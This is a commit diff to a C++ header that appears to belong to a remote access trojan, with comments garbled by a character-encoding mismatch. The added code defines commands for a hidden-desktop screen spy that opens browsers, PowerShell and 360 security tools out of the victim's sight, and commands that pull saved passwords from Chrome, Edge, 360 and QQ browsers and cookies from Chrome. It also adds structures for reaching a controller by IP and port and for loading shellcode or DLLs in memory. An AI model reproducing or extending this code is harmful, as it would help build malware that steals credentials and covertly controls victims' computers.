Reserve for running customized module in future
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <iosfwd>
|
||||
@@ -205,7 +205,10 @@ enum
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||
|
||||
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
|
||||
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
@@ -231,6 +234,56 @@ enum ProxyManager {
|
||||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||||
};
|
||||
|
||||
// <20><>̨<EFBFBD><CCA8>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum HideScreenSpy {
|
||||
COMMAND_FLUSH_HIDE, // ˢ<><CBA2><EFBFBD><EFBFBD>Ļ
|
||||
COMMAND_SCREEN_SETSCREEN_HIDE, // <20><><EFBFBD>÷ֱ<C3B7><D6B1><EFBFBD>
|
||||
COMMAND_HIDE_USER, // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_HIDE_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̨
|
||||
COMMAND_COMMAND_SCREENUALITY60_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_COMMAND_SCREENUALITY85_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_COMMAND_SCREENUALITY100_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
IDM_OPEN_Explorer = 33,
|
||||
IDM_OPEN_run,
|
||||
IDM_OPEN_Powershell,
|
||||
|
||||
IDM_OPEN_360JS,
|
||||
IDM_OPEN_360AQ,
|
||||
IDM_OPEN_360AQ2,
|
||||
IDM_OPEN_Chrome,
|
||||
IDM_OPEN_Edge,
|
||||
IDM_OPEN_Brave,
|
||||
IDM_OPEN_Firefox,
|
||||
IDM_OPEN_Iexplore,
|
||||
IDM_OPEN_ADD_1,
|
||||
IDM_OPEN_ADD_2,
|
||||
IDM_OPEN_ADD_3,
|
||||
IDM_OPEN_ADD_4,
|
||||
IDM_OPEN_zdy,
|
||||
IDM_OPEN_zdy2,
|
||||
IDM_OPEN_close,
|
||||
};
|
||||
|
||||
struct ZdyCmd {
|
||||
char oldpath[_MAX_PATH];
|
||||
char newpath[_MAX_PATH];
|
||||
char cmdline[_MAX_PATH];
|
||||
};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum DecryptCommand {
|
||||
COMMAND_LLQ_GetChromePassWord,
|
||||
COMMAND_LLQ_GetEdgePassWord,
|
||||
COMMAND_LLQ_GetSpeed360PassWord,
|
||||
COMMAND_LLQ_Get360sePassWord,
|
||||
COMMAND_LLQ_GetQQBroPassWord,
|
||||
|
||||
COMMAND_LLQ_GetChromeCookies,
|
||||
};
|
||||
|
||||
typedef DecryptCommand BroType;
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
@@ -402,6 +455,28 @@ public:
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
|
||||
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
|
||||
struct ThreadInfo
|
||||
{
|
||||
int run;
|
||||
HANDLE h;
|
||||
void* p;
|
||||
void* user;
|
||||
CONNECT_ADDRESS* conn;
|
||||
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
|
||||
};
|
||||
|
||||
struct PluginParam {
|
||||
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
|
||||
int Port; // <20><><EFBFBD>ض˿<D8B6>
|
||||
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
|
||||
void* User; // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
|
||||
strcpy_s(IP, ip);
|
||||
}
|
||||
};
|
||||
|
||||
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||||
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
@@ -513,14 +588,13 @@ typedef struct MasterSettings {
|
||||
char Reserved[476]; // Ԥ<><D4A4>
|
||||
}MasterSettings;
|
||||
|
||||
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
typedef struct DllExecuteInfo {
|
||||
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int Size; // DLL <20><>С
|
||||
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
|
||||
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
|
||||
char Func[32]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char Reseverd[24];
|
||||
char Reseverd[56];
|
||||
}DllExecuteInfo;
|
||||
|
||||
enum
|
||||
@@ -531,11 +605,10 @@ enum
|
||||
SHELLCODE = 0,
|
||||
MEMORYDLL = 1,
|
||||
|
||||
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: void (*CallTypeDefault)(void)
|
||||
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: ֻ<EFBFBD>Ǽ<EFBFBD><EFBFBD><EFBFBD>DLL,<2C><>Ҫ<EFBFBD><D2AA>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1>д<EFBFBD><D0B4><EFBFBD>
|
||||
CALLTYPE_IOCPTHREAD = 1, // <20><><EFBFBD><EFBFBD>run<75><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>: DWORD (__stdcall *run)(void* lParam)
|
||||
};
|
||||
|
||||
typedef void (*CallTypeDefault)(void);
|
||||
|
||||
typedef DWORD(__stdcall* PidCallback)(void);
|
||||
|
||||
inline const char* EVENTID(PidCallback pid) {
|
||||
@@ -703,4 +776,10 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
#ifdef _WIN64
|
||||
#define MYMSG MSG
|
||||
#else
|
||||
#define MYMSG MSG64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user